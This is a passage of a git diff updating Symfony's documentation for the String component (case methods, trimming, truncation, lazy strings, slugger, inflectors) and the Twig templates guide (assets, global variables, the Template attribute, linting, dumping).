u('FOO Bar Brİan')->localeLower('lt'); // 'foo bar bri̇̇an' // when dealing with different languages, uppercase/lowercase is not enough // there are three cases (lower, upper, title), some characters have no case, @@ -223,18 +216,41 @@ Methods to Change Case u('Die O\'Brian Straße')->folded(); // "die o'brian strasse" // changes all graphemes/code points to upper case - u('foo BAR')->upper(); // 'FOO BAR' + u('foo BAR bάz')->upper(); // 'FOO BAR BΆZ' + // changes all graphemes/code points to upper case according to locale-specific case mappings + u('foo BAR bάz')->localeUpper('en'); // 'FOO BAR BΆZ' + u('foo BAR bάz')->localeUpper('el'); // 'FOO BAR BAZ' // changes all graphemes/code points to "title case" - u('foo bar')->title(); // 'Foo bar' - u('foo bar')->title(true); // 'Foo Bar' + u('foo ijssel')->title(); // 'Foo ijssel' + u('foo ijssel')->title(allWords: true); // 'Foo Ijssel' + // changes all graphemes/code points to "title case" according to locale-specific case mappings + u('foo ijssel')->localeTitle('en'); // 'Foo ijssel' + u('foo ijssel')->localeTitle('nl'); // 'Foo IJssel' // changes all graphemes/code points to camelCase u('Foo: Bar-baz.')->camel(); // 'fooBarBaz' // changes all graphemes/code points to snake_case u('Foo: Bar-baz.')->snake(); // 'foo_bar_baz' - // other cases can be achieved by chaining methods. E.g. PascalCase: - u('Foo: Bar-baz.')->camel()->title(); // 'FooBarBaz' + // changes all graphemes/code points to kebab-case + u('Foo: Bar-baz.')->kebab(); // 'foo-bar-baz' + // changes all graphemes/code points to PascalCase + u('Foo: Bar-baz.')->pascal(); // 'FooBarBaz' + // other cases can be achieved by chaining methods, e.g. : + u('Foo: Bar-baz.')->camel()->upper(); // 'FOOBARBAZ' + +.. versionadded:: 7.1 + + The ``localeLower()``, ``localeUpper()`` and ``localeTitle()`` methods were + introduced in Symfony 7.1. + +.. versionadded:: 7.2 + + The ``kebab()`` method was introduced in Symfony 7.2. + +.. versionadded:: 7.3 + + The ``pascal()`` method was introduced in Symfony 7.3. The methods of all string classes are case-sensitive by default. You can perform case-insensitive operations with the ``ignoreCase()`` method:: @@ -265,20 +281,20 @@ Methods to Append and Prepend u('UserControllerController')->ensureEnd('Controller'); // 'UserController' // returns the contents found before/after the first occurrence of the given string - u('hello world')->before('world'); // 'hello ' - u('hello world')->before('o'); // 'hell' - u('hello world')->before('o', true); // 'hello' + u('hello world')->before('world'); // 'hello ' + u('hello world')->before('o'); // 'hell' + u('hello world')->before('o', includeNeedle: true); // 'hello' - u('hello world')->after('hello'); // ' world' - u('hello world')->after('o'); // ' world' - u('hello world')->after('o', true); // 'o world' + u('hello world')->after('hello'); // ' world' + u('hello world')->after('o'); // ' world' + u('hello world')->after('o', includeNeedle: true); // 'o world' // returns the contents found before/after the last occurrence of the given string - u('hello world')->beforeLast('o'); // 'hello w' - u('hello world')->beforeLast('o', true); // 'hello wo' + u('hello world')->beforeLast('o'); // 'hello w' + u('hello world')->beforeLast('o', includeNeedle: true); // 'hello wo' - u('hello world')->afterLast('o'); // 'rld' - u('hello world')->afterLast('o', true); // 'orld' + u('hello world')->afterLast('o'); // 'rld' + u('hello world')->afterLast('o', includeNeedle: true); // 'orld' Methods to Pad and Trim ~~~~~~~~~~~~~~~~~~~~~~~ @@ -294,7 +310,7 @@ Methods to Pad and Trim // repeats the given string the number of times passed as argument u('_.')->repeat(10); // '_._._._._._._._._._.' - // removes the given characters (by default, white spaces) from the string + // removes the given characters (default: whitespace characters) from the beginning and end of a string u(' Lorem Ipsum ')->trim(); // 'Lorem Ipsum' u('Lorem Ipsum ')->trim('m'); // 'Lorem Ipsum ' u('Lorem Ipsum')->trim('m'); // 'Lorem Ipsu' @@ -302,6 +318,17 @@ Methods to Pad and Trim u(' Lorem Ipsum ')->trimStart(); // 'Lorem Ipsum ' u(' Lorem Ipsum ')->trimEnd(); // ' Lorem Ipsum' + // removes the given content from the start/end of the string + u('file-image-0001.png')->trimPrefix('file-'); // 'image-0001.png' + u('file-image-0001.png')->trimPrefix('image-'); // 'file-image-0001.png' + u('file-image-0001.png')->trimPrefix('file-image-'); // '0001.png' + u('template.html.twig')->trimSuffix('.html'); // 'template.html.twig' + u('template.html.twig')->trimSuffix('.twig'); // 'template.html' + u('template.html.twig')->trimSuffix('.html.twig'); // 'template' + // when passing an array of prefix/suffix, only the first one found is trimmed + u('file-image-0001.png')->trimPrefix(['file-', 'image-']); // 'image-0001.png' + u('template.html.twig')->trimSuffix(['.twig', '.html']); // 'template.html' + Methods to Search and Replace ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -314,9 +341,14 @@ Methods to Search and Replace // checks if the string contents are exactly the same as the given contents u('foo')->equalsTo('foo'); // true - // checks if the string content match the given regular expression + // checks if the string content match the given regular expression. u('avatar-73647.png')->match('/avatar-(\d+)\.png/'); - // result = ['avatar-73647.png', '73647'] + // result = ['avatar-73647.png', '73647', null] + + // You can pass flags for preg_match() as second argument. If PREG_PATTERN_ORDER + // or PREG_SET_ORDER are passed, preg_match_all() will be used. + u('206-555-0100 and 800-555-1212')->match('/\d{3}-\d{3}-\d{4}/', \PREG_PATTERN_ORDER); + // result = [['206-555-0100', '800-555-1212']] // checks if the string contains any of the other given strings u('aeiou')->containsAny('a'); // true @@ -346,14 +378,10 @@ Methods to Search and Replace // replaces all occurrences of the given regular expression u('(+1) 206-555-0100')->replaceMatches('/[^A-Za-z0-9]++/', ''); // '12065550100' // you can pass a callable as the second argument to perform advanced replacements - u('123')->replaceMatches('/\d/', function ($match) { + u('123')->replaceMatches('/\d/', function (string $match): string { return '['.$match[0].']'; }); // result = '[1][2][3]' -.. versionadded:: 5.1 - - The ``containsAny()`` method was introduced in Symfony 5.1. - Methods to Join, Split, Truncate and Reverse ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -379,21 +407,26 @@ Methods to Join, Split, Truncate and Reverse u('Lorem Ipsum')->truncate(80); // 'Lorem Ipsum' // the second argument is the character(s) added when a string is cut // (the total length includes the length of this character(s)) + // (note that '…' is a single character that includes three dots; it's not '...') u('Lorem Ipsum')->truncate(8, '…'); // 'Lorem I…' - // if the third argument is false, the last word before the cut is kept - // even if that generates a string longer than the desired length - u('Lorem Ipsum')->truncate(8, '…', false); // 'Lorem Ipsum' + // the third optional argument defines how to cut words when the length is exceeded + // the default value is TruncateMode::Char which cuts the string at the exact given length + u('Lorem ipsum dolor sit amet')->truncate(8, cut: TruncateMode::Char); // 'Lorem ip' + // returns up to the last complete word that fits in the given length without surpassing it + u('Lorem ipsum dolor sit amet')->truncate(8, cut: TruncateMode::WordBefore); // 'Lorem' + // returns up to the last complete word that fits in the given length, surpassing it if needed + u('Lorem ipsum dolor sit amet')->truncate(8, cut: TruncateMode::WordAfter); // 'Lorem ipsum' -.. versionadded:: 5.1 +.. versionadded:: 7.2 - The third argument of ``truncate()`` was introduced in Symfony 5.1. + The ``TruncateMode`` parameter for truncate function was introduced in Symfony 7.2. :: // breaks the string into lines of the given length - u('Lorem Ipsum')->wordwrap(4); // 'Lorem\nIpsum' + u('Lorem Ipsum')->wordwrap(4); // 'Lorem\nIpsum' // by default it breaks by white space; pass TRUE to break unconditionally - u('Lorem Ipsum')->wordwrap(4, "\n", true); // 'Lore\nm\nIpsu\nm' + u('Lorem Ipsum')->wordwrap(4, "\n", cut: true); // 'Lore\nm\nIpsu\nm' // replaces a portion of the string with the given contents: // the second argument is the position where the replacement starts; @@ -407,13 +440,9 @@ Methods to Join, Split, Truncate and Reverse u('0123456789')->chunk(3); // ['012', '345', '678', '9'] // reverses the order of the string contents - u('foo bar')->reverse(); // 'rab oof' + u('foo bar')->reverse(); // 'rab oof' u('さよなら')->reverse(); // 'らなよさ' -.. versionadded:: 5.1 - - The ``reverse()`` method was introduced in Symfony 5.1. - Methods Added by ByteString ~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -455,6 +484,57 @@ letter A with ring above"*) or a sequence of two code points (``U+0061`` = u('å')->normalize(UnicodeString::NFD); u('å')->normalize(UnicodeString::NFKD); +Lazy-loaded Strings +------------------- + +Sometimes, creating a string with the methods presented in the previous sections +is not optimal. For example, consider a hash value that requires certain +computation to obtain and which you might end up not using it. + +In those cases, it's better to use the :class:`Symfony\\Component\\String\\LazyString` +class that allows to store a string whose value is only generated when you need it:: + + use Symfony\Component\String\LazyString; + + $lazyString = LazyString::fromCallable(function (): string { + // Compute the string value... + $value = ...; + + // Then return the final value + return $value; + }); + +The callback will only be executed when the value of the lazy string is +requested during the program execution. You can also create lazy strings from a +``Stringable`` object:: + + class Hash implements \Stringable + { + public function __toString(): string + { + return $this->computeHash(); + } + + private function computeHash(): string + { + // Compute hash value with potentially heavy processing + $hash = ...; + + return $hash; + } + } + + // Then create a lazy string from this hash, which will trigger + // hash computation only if it's needed + $lazyHash = LazyString::fromStringable(new Hash()); + +Working with Emojis +------------------- + +These contents have been moved to the :doc:`Emoji component docs </emoji>`. + +.. _string-slugger: + Slugger ------- @@ -473,19 +553,17 @@ that only includes safe ASCII characters:: $slug = $slugger->slug('10% or 5€'); // $slug = '10-percent-or-5-euro' + // if there is no symbols map for your locale (e.g. 'en_GB') then the parent locale's symbols map + // will be used instead (i.e. 'en') + $slugger = new AsciiSlugger('en_GB', ['en' => ['%' => 'percent', '€' => 'euro']]); + $slug = $slugger->slug('10% or 5€'); + // $slug = '10-percent-or-5-euro' + // for more dynamic substitutions, pass a PHP closure instead of an array - $slugger = new AsciiSlugger('en', function ($string, $locale) { + $slugger = new AsciiSlugger('en', function (string $string, string $locale): string { return str_replace('❤️', 'love', $string); }); -.. versionadded:: 5.1 - - The feature to define additional substitutions was introduced in Symfony 5.1. - -.. versionadded:: 5.2 - - The feature to use a PHP closure to define substitutions was introduced in Symfony 5.2. - The separator between words is a dash (``-``) by default, but you can define another separator as the second argument:: @@ -496,10 +574,11 @@ The slugger transliterates the original string into the Latin script before applying the other transformations. The locale of the original string is detected automatically, but you can define it explicitly:: - // this tells the slugger to transliterate from Korean language + // this tells the slugger to transliterate from Korean ('ko') language $slugger = new AsciiSlugger('ko'); // you can override the locale as the third optional parameter of slug() + // e.g. this slugger transliterates from Persian ('fa') language $slug = $slugger->slug('...', '-', 'fa'); In a Symfony application, you don't need to create the slugger yourself. Thanks @@ -512,28 +591,52 @@ the injected slugger is the same as the request locale:: class MyService { - private $slugger; - - public function __construct(SluggerInterface $slugger) - { - $this->slugger = $slugger; + public function __construct( + private SluggerInterface $slugger, + ) { } - public function someMethod() + public function someMethod(): void { $slug = $this->slugger->slug('...'); } } +.. _string-slugger-emoji: + +Slug Emojis +~~~~~~~~~~~ + +You can also combine the :ref:`emoji transliterator <emoji-transliteration>` +with the slugger to transform any emojis into their textual representation:: + + use Symfony\Component\String\Slugger\AsciiSlugger; + + $slugger = new AsciiSlugger(); + $slugger = $slugger->withEmoji(); + + $slug = $slugger->slug('a 😺, 🐈⬛, and a 🦁 go to 🏞️', '-', 'en'); + // $slug = 'a-grinning-cat-black-cat-and-a-lion-go-to-national-park'; + + $slug = $slugger->slug('un 😺, 🐈⬛, et un 🦁 vont au 🏞️', '-', 'fr'); + // $slug = 'un-chat-qui-sourit-chat-noir-et-un-tete-de-lion-vont-au-parc-national'; + +If you want to use a specific locale for the emoji, or to use the short codes +from GitHub, Gitlab or Slack, use the first argument of ``withEmoji()`` method:: + + use Symfony\Component\String\Slugger\AsciiSlugger; + + $slugger = new AsciiSlugger(); + $slugger = $slugger->withEmoji('github'); // or "en", or "fr", etc. + + $slug = $slugger->slug('a 😺, 🐈⬛, and a 🦁'); + // $slug = 'a-smiley-cat-black-cat-and-a-lion'; + .. _string-inflector: Inflector --------- -.. versionadded:: 5.1 - - The inflector feature was introduced in Symfony 5.1. - In some scenarios such as code generation and code introspection, you need to convert words from/to singular/plural. For example, to know the property associated with an *adder* method, you must convert from plural @@ -563,6 +666,29 @@ class to convert English words from/to singular/plural with confidence:: The value returned by both methods is always an array because sometimes it's not possible to determine a unique singular/plural form for the given word. +Symfony also provides inflectors for other languages:: + + use Symfony\Component\String\Inflector\FrenchInflector; + + $inflector = new FrenchInflector(); + $result = $inflector->singularize('souris'); // ['souris'] + $result = $inflector->pluralize('hôpital'); // ['hôpitaux'] + + use Symfony\Component\String\Inflector\SpanishInflector; + + $inflector = new SpanishInflector(); + $result = $inflector->singularize('aviones'); // ['avión'] + $result = $inflector->pluralize('miércoles'); // ['miércoles'] + +.. versionadded:: 7.2 + + The ``SpanishInflector`` class was introduced in Symfony 7.2. + +.. note:: + + Symfony provides an :class:`Symfony\\Component\\String\\Inflector\\InflectorInterface` + in case you need to implement your own inflector. + .. _`ASCII`: https://en.wikipedia.org/wiki/ASCII .. _`Unicode`: https://en.wikipedia.org/wiki/Unicode .. _`Code points`: https://en.wikipedia.org/wiki/Code_point diff --git a/templates.rst b/templates.rst index 40880d76f63..fc353384202 100644 --- a/templates.rst +++ b/templates.rst @@ -1,6 +1,3 @@ -.. index:: - single: Templating - Creating and Using Templates ============================ @@ -9,6 +6,16 @@ whether you need to render HTML from a :doc:`controller </controller>` or genera the :doc:`contents of an email </mailer>`. Templates in Symfony are created with Twig: a flexible, fast, and secure template engine. +Installation +------------ + +In applications using :ref:`Symfony Flex <symfony-flex>`, run the following command +to install both Twig language support and its integration with Symfony applications: + +.. code-block:: terminal + + $ composer require symfony/twig-bundle + .. _twig-language: Twig Templating Language @@ -56,7 +63,7 @@ being rendered, like the ``upper`` filter to uppercase contents: Twig comes with a long list of `tags`_, `filters`_ and `functions`_ that are available by default. In Symfony applications you can also use these :doc:`Twig filters and functions defined by Symfony </reference/twig_reference>` -and you can :doc:`create your own Twig filters and functions </templating/twig_extension>`. +and you can :ref:`create your own Twig filters and functions <templates-twig-extension>`. Twig is fast in the ``prod`` :ref:`environment <configuration-environments>` (because templates are compiled into PHP and cached automatically), but @@ -90,12 +97,13 @@ passes to it the needed variables:: namespace App\Controller; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\HttpFoundation\Response; class UserController extends AbstractController { // ... - public function notifications() + public function notifications(): Response { // get the user information and notifications somehow $userFirstName = '...'; @@ -117,8 +125,8 @@ Template Naming Symfony recommends the following for template names: -* Use `snake case`_ for filenames and directories (e.g. ``blog_posts.twig``, - ``admin/default_theme/blog/index.twig``, etc.); +* Use `snake case`_ for filenames and directories (e.g. ``blog_posts.html.twig``, + ``admin/default_theme/blog/index.html.twig``, etc.); * Define two extensions for filenames (e.g. ``index.html.twig`` or ``blog_posts.xml.twig``) being the first extension (``html``, ``xml``, etc.) the final format that the template will generate. @@ -163,7 +171,9 @@ in the following order: #. ``$foo->getBar()`` (object and *getter* method); #. ``$foo->isBar()`` (object and *isser* method); #. ``$foo->hasBar()`` (object and *hasser* method); -#. If none of the above exists, use ``null``. +#. If none of the above exists, use ``null`` (or throw a ``Twig\Error\RuntimeError`` + exception if the :ref:`strict_variables <config-twig-strict-variables>` + option is enabled). This allows to evolve your application code without having to change the template code (you can start with array variables for the application proof of @@ -185,28 +195,25 @@ Consider the following routing configuration: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Controller/BlogController.php namespace App\Controller; // ... - use Symfony\Component\Routing\Annotation\Route; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; class BlogController extends AbstractController { - /** - * @Route("/", name="blog_index") - */ - public function index() + #[Route('/', name: 'blog_index')] + public function index(): Response { // ... } - /** - * @Route("/article/{slug}", name="blog_post") - */ - public function show(string $slug) + #[Route('/article/{slug}', name: 'blog_post')] + public function show(string $slug): Response { // ... } @@ -247,7 +254,7 @@ Consider the following routing configuration: use App\Controller\BlogController; use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; - return function (RoutingConfigurator $routes) { + return function (RoutingConfigurator $routes): void { $routes->add('blog_index', '/') ->controller([BlogController::class, 'index']) ; @@ -297,43 +304,42 @@ You can now use the ``asset()`` function: .. code-block:: html+twig {# the image lives at "public/images/logo.png" #} - <img src="{{ asset('images/logo.png') }}" alt="Symfony!"/> + <img src="{{ asset('images/logo.png') }}" alt="Symfony!"> {# the CSS file lives at "public/css/blog.css" #} - <link href="{{ asset('css/blog.css') }}" rel="stylesheet"/> + <link href="{{ asset('css/blog.css') }}" rel="stylesheet"> {# the JS file lives at "public/bundles/acme/js/loader.js" #} <script src="{{ asset('bundles/acme/js/loader.js') }}"></script> -The ``asset()`` function's main purpose is to make your application more portable. -If your application lives at the root of your host (e.g. ``https://example.com``), -then the rendered path should be ``/images/logo.png``. But if your application -lives in a subdirectory (e.g. ``https://example.com/my_app``), each asset path -should render with the subdirectory (e.g. ``/my_app/images/logo.png``). The -``asset()`` function takes care of this by determining how your application is -being used and generating the correct paths accordingly. - -.. tip:: - - The ``asset()`` function supports various cache busting techniques via the - :ref:`version <reference-framework-assets-version>`, - :ref:`version_format <reference-assets-version-format>`, and - :ref:`json_manifest_path <reference-assets-json-manifest-path>` configuration options. +Using the ``asset()`` function is recommended for these reasons: -.. tip:: +* **Asset versioning**: ``asset()`` appends a version hash to asset URLs for + cache busting. This works both via :doc:`AssetMapper </frontend>` and the + :doc:`Asset component </components/asset>` (see also the + :ref:`assets configuration options <reference-assets>`, such as ``version`` + and ``version_format``). - If you'd like help packaging, versioning and minifying your JavaScript and - CSS assets in a modern way, read about :doc:`Symfony's Webpack Encore </frontend>`. +* **Application portability**: whether your app is hosted at the root + (e.g. ``https://example.com``) or in a subdirectory (e.g. ``https://example.com/my_app``), + ``asset()`` generates the correct path (e.g. ``/images/logo.png`` vs ``/my_app/images/logo.png``) + automatically based on your app's base URL. If you need absolute URLs for assets, use the ``absolute_url()`` Twig function as follows: .. code-block:: html+twig - <img src="{{ absolute_url(asset('images/logo.png')) }}" alt="Symfony!"/> + <img src="{{ absolute_url(asset('images/logo.png')) }}" alt="Symfony!"> <link rel="shortcut icon" href="{{ absolute_url('favicon.png') }}"> +Build, Versioning & More Advanced CSS, JavaScript and Image Handling +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +For help building and versioning your JavaScript and +CSS assets in a modern way, read about :doc:`Symfony's AssetMapper </frontend>`. + .. _twig-app-variable: The App Global Variable @@ -376,9 +382,150 @@ gives you access to these variables: ``app.token`` A :class:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\TokenInterface` object representing the security token. +``app.current_route`` + The name of the route associated with the current request or ``null`` if no + request is available (equivalent to ``app.request.attributes.get('_route')``) +``app.current_route_parameters`` + An array with the parameters passed to the route of the current request or an + empty array if no request is available (equivalent to ``app.request.attributes.get('_route_params')``) +``app.locale`` + The locale used in the current :ref:`locale switcher <locale-switcher>` context. +``app.enabled_locales`` + The locales enabled in the application. In addition to the global ``app`` variable injected by Symfony, you can also -:doc:`inject variables automatically to all Twig templates </templating/global_variables>`. +inject variables automatically to all Twig templates as explained in the next +section. + +.. _templating-global-variables: + +Global Variables +~~~~~~~~~~~~~~~~ + +Twig allows you to automatically inject one or more variables into all +templates. These global variables are defined in the ``twig.globals`` option +inside the main Twig configuration file: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/twig.yaml + twig: + # ... + globals: + ga_tracking: 'UA-xxxxx-x' + + .. code-block:: xml + + <!-- config/packages/twig.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:twig="http://symfony.com/schema/dic/twig" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/twig + https://symfony.com/schema/dic/twig/twig-1.0.xsd"> + + <twig:config> + <!-- ... --> + <twig:global key="ga_tracking">UA-xxxxx-x</twig:global> + </twig:config> + </container> + + .. code-block:: php + + // config/packages/twig.php + use Symfony\Config\TwigConfig; + + return static function (TwigConfig $twig): void { + // ... + + $twig->global('ga_tracking')->value('UA-xxxxx-x'); + }; + +Now, the variable ``ga_tracking`` is available in all Twig templates, so you +can use it without having to pass it explicitly from the controller or service +that renders the template: + +.. code-block:: html+twig + + <p>The Google tracking code is: {{ ga_tracking }}</p> + +In addition to static values, Twig global variables can also reference services +from the :doc:`service container </service_container>`. The main drawback is +that these services are not loaded lazily. In other words, as soon as Twig is +loaded, your service is instantiated, even if you never use that global +variable. + +To define a service as a global Twig variable, prefix the service ID string +with the ``@`` character, which is the usual syntax to :ref:`refer to services +in container parameters <service-container-parameters>`: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/twig.yaml + twig: + # ... + globals: + # the value is the service's id + uuid: '@App\Generator\UuidGenerator' + + .. code-block:: xml + + <!-- config/packages/twig.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:twig="http://symfony.com/schema/dic/twig" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/twig + https://symfony.com/schema/dic/twig/twig-1.0.xsd"> + + <twig:config> + <!-- ... --> + <twig:global key="uuid" id="App\Generator\UuidGenerator" type="service"/> + </twig:config> + </container> + + .. code-block:: php + + // config/packages/twig.php + use Symfony\Config\TwigConfig; + use function Symfony\Component\DependencyInjection\Loader\Configurator\service; + + return static function (TwigConfig $twig): void { + // ... + + $twig->global('uuid')->value(service('App\Generator\UuidGenerator')); + }; + +Now you can use the ``uuid`` variable in any Twig template to access to the +``UuidGenerator`` service: + +.. code-block:: twig + + UUID: {{ uuid.generate }} + +Twig Components +--------------- + +Twig components are an alternative way to render templates, where each template +is bound to a "component class". This makes it easier to render and re-use +small template "units" - like an alert, markup for a modal, or a category sidebar. + +For more information, see `UX Twig Component`_. + +Twig components also have one other superpower: they can become "live", where +they automatically update (via Ajax) as the user interacts with them. For example, +when your user types into a box, your Twig component will re-render via Ajax to +show a list of results! + +To learn more, see `UX Live Component`_. .. _templates-rendering: @@ -399,7 +546,7 @@ use the ``render()`` helper:: class ProductController extends AbstractController { - public function index() + public function index(): Response { // ... @@ -425,13 +572,106 @@ If your controller does not extend from ``AbstractController``, you'll need to :ref:`fetch services in your controller <controller-accessing-services>` and use the ``render()`` method of the ``twig`` service. +.. _templates-template-attribute: + +Another option is to use the ``#[Template]`` attribute on the controller method +to define the template to render:: + + // src/Controller/ProductController.php + namespace App\Controller; + + use Symfony\Bridge\Twig\Attribute\Template; + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\HttpFoundation\Response; + + class ProductController extends AbstractController + { + #[Template('product/index.html.twig')] + public function index(): array + { + // ... + + // when using the #[Template] attribute, you only need to return + // an array with the parameters to pass to the template (the attribute + // is the one which will create and return the Response object). + return [ + 'category' => '...', + 'promotions' => ['...', '...'], + ]; + } + } + +The :ref:`base AbstractController <the-base-controller-classes-services>` also provides the +:method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::renderBlock` +and :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::renderBlockView` +methods:: + + // src/Controller/ProductController.php + namespace App\Controller; + + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\HttpFoundation\Response; + + class ProductController extends AbstractController + { + // ... + + public function price(): Response + { + // ... + + // the `renderBlock()` method returns a `Response` object with the + // block contents + return $this->renderBlock('product/index.html.twig', 'price_block', [ + // ... + ]); + + // the `renderBlockView()` method only returns the contents created by the + // template block, so you can use those contents later in a `Response` object + $contents = $this->renderBlockView('product/index.html.twig', 'price_block', [ + // ... + ]); + + return new Response($contents); + } + } + +This might come handy when dealing with blocks in +:ref:`templates inheritance <template_inheritance-layouts>` or when using +`Turbo Streams`_. + +Similarly, you can use the ``#[Template]`` attribute on the controller to specify +a block to render:: + + // src/Controller/ProductController.php + namespace App\Controller; + + use Symfony\Bridge\Twig\Attribute\Template; + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\HttpFoundation\Response; + + class ProductController extends AbstractController + { + #[Template('product.html.twig', block: 'price_block')] + public function price(): array + { + return [ + // ... + ]; + } + } + +.. versionadded:: 7.2 + + The ``#[Template]`` attribute's ``block`` argument was introduced in Symfony 7.2. + Rendering a Template in Services ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Inject the ``twig`` Symfony service into your own services and use its ``render()`` method. When using :doc:`service autowiring </service_container/autowiring>` you only need to add an argument in the service constructor and type-hint it with -the :class:`Twig\\Environment` class:: +the `Twig Environment`_:: // src/Service/SomeService.php namespace App\Service; @@ -440,14 +680,12 @@ the :class:`Twig\\Environment` class:: class SomeService { - private $twig; - - public function __construct(Environment $twig) - { - $this->twig = $twig; + public function __construct( + private Environment $twig, + ) { } - public function someMethod() + public function someMethod(): void { // ... @@ -485,6 +723,9 @@ provided by Symfony: # the path of the template to render template: 'static/privacy.html.twig' + # the response status code (default: 200) + statusCode: 200 + # special options defined by Symfony to set the page cache maxAge: 86400 sharedAge: 86400 @@ -497,6 +738,11 @@ provided by Symfony: site_name: 'ACME' theme: 'dark' + # optionally you can define HTTP headers to add to the response + headers: + Content-Type: 'text/html' + foo: 'bar' + .. code-block:: xml <!-- config/routes.xml --> @@ -511,6 +757,9 @@ provided by Symfony: <!-- the path of the template to render --> <default key="template">static/privacy.html.twig</default> + <!-- the response status code (default: 200) --> + <default key="statusCode">200</default> + <!-- special options defined by Symfony to set the page cache --> <default key="maxAge">86400</default> <default key="sharedAge">86400</default> @@ -523,6 +772,11 @@ provided by Symfony: <default key="site_name">ACME</default> <default key="theme">dark</default> </default> + + <!-- optionally you can define HTTP headers to add to the response --> + <default key="headers"> + <default key="Content-Type">text/html</default> + </default> </route> </routes> @@ -532,13 +786,16 @@ provided by Symfony: use Symfony\Bundle\FrameworkBundle\Controller\TemplateController; use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; - return function (RoutingConfigurator $routes) { + return function (RoutingConfigurator $routes): void { $routes->add('acme_privacy', '/privacy') ->controller(TemplateController::class) ->defaults([ // the path of the template to render 'template' => 'static/privacy.html.twig', + // the response status code (default: 200) + 'statusCode' => 200, + // special options defined by Symfony to set the page cache 'maxAge' => 86400, 'sharedAge' => 86400, @@ -550,14 +807,19 @@ provided by Symfony: 'context' => [ 'site_name' => 'ACME', 'theme' => 'dark', + ], + + // optionally you can define HTTP headers to add to the response + 'headers' => [ + 'Content-Type' => 'text/html', ] ]) ; }; -.. versionadded:: 5.1 +.. versionadded:: 7.2 - The ``context`` option was introduced in Symfony 5.1. + The ``headers`` option was introduced in Symfony 7.2. Checking if a Template Exists ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -567,11 +829,14 @@ also provides a method to check for template existence. First, get the loader:: use Twig\Environment; - // this code assumes that your service uses autowiring to inject dependencies - // otherwise, inject the service called 'twig' manually - public function __construct(Environment $twig) + class YourService { - $loader = $twig->getLoader(); + // this code assumes that your service uses autowiring to inject dependencies + // otherwise, inject the service called 'twig' manually + public function __construct(Environment $twig) + { + $loader = $twig->getLoader(); + } } Then, pass the path of the Twig template to the ``exists()`` method of the loader:: @@ -605,12 +870,31 @@ errors. It's useful to run it before deploying your application to production # you can also show the deprecated features used in your templates $ php bin/console lint:twig --show-deprecations templates/email/ + # you can also excludes directories + $ php bin/console lint:twig templates/ --excludes=data_collector --excludes=dev_tool + +.. versionadded:: 7.1 + + The option to exclude directories was introduced in Symfony 7.1. + +.. versionadded:: 7.3 + + Before Symfony 7.3, the ``--show-deprecations`` option only displayed the + first deprecation found, so you had to run the command repeatedly. + +When running the linter inside `GitHub Actions`_, the output is automatically +adapted to the format required by GitHub, but you can force that format too: + +.. code-block:: terminal + + $ php bin/console lint:twig --format=github + Inspecting Twig Information ~~~~~~~~~~~~~~~~~~~~~~~~~~~ The ``debug:twig`` command lists all the information available about Twig (functions, filters, global variables, etc.). It's useful to check if your -:doc:`custom Twig extensions </templating/twig_extension>` are working properly +:ref:`custom Twig extensions <templates-twig-extension>` are working properly and also to check the Twig features added when :ref:`installing packages <symfony-flex>`: .. code-block:: terminal @@ -624,6 +908,8 @@ and also to check the Twig features added when :ref:`installing packages <symfon # pass a template path to show the physical file which will be loaded $ php bin/console debug:twig @Twig/Exception/error.html.twig +.. _twig-dump-utilities: + The Dump Twig Utilities ~~~~~~~~~~~~~~~~~~~~~~~ @@ -635,7 +921,7 @@ First, make sure that the VarDumper component is installed in the application: .. code-block:: terminal - $ composer require symfony/var-dumper + $ composer require --dev symfony/debug-bundle Then, use either the ``{% dump %}`` tag or the ``{{ dump() }}`` function depending on your needs: @@ -652,6 +938,10 @@ depending on your needs: and they are visible on the web page #} {{ dump(article) }} + {# optionally, use named arguments to display them as labels next to + the dumped contents #} + {{ dump(blog_posts: articles, user: app.user) }} + <a href="/article/{{ article.slug }}"> {{ article.title }} </a> @@ -681,7 +971,7 @@ following code to display the user information is repeated in several places: {# ... #} <div class="user-profile"> - <img src="{{ user.profileImageUrl }}" alt="{{ user.fullName }}"/> + <img src="{{ user.profileImageUrl }}" alt="{{ user.fullName }}"> <p>{{ user.fullName }} - {{ user.email }}</p> </div> @@ -737,11 +1027,12 @@ First, create the controller that renders a certain number of recent articles:: // src/Controller/BlogController.php namespace App\Controller; + use Symfony\Component\HttpFoundation\Response; // ... class BlogController extends AbstractController { - public function recentArticles($max = 3) + public function recentArticles(int $max = 3): Response { // get the recent articles somehow (e.g. making a database query) $articles = ['...', '...', '...']; @@ -819,22 +1110,116 @@ template fragments. Configure that special URL in the ``fragments`` option: .. code-block:: php // config/packages/framework.php - $container->loadFromExtension('framework', [ + use Symfony\Config\FrameworkConfig; + + return static function 